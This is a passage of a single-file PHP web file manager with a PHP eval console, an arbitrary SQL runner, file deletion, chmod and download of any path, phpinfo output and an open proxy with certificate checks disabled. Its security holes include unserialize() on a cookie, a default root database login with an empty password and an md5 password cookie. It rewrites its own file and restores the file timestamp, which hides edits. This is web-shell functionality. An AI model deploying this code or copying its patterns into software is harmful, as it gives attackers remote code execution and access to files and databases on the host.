	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/xml");
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' ¡ª '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//§Ü§Ñ§Ü-§ä§à §ä§à§Ø§Ö §á§à§Õ§Þ§Ö§ß§ñ§ä§î §ß§Ñ§Õ§à
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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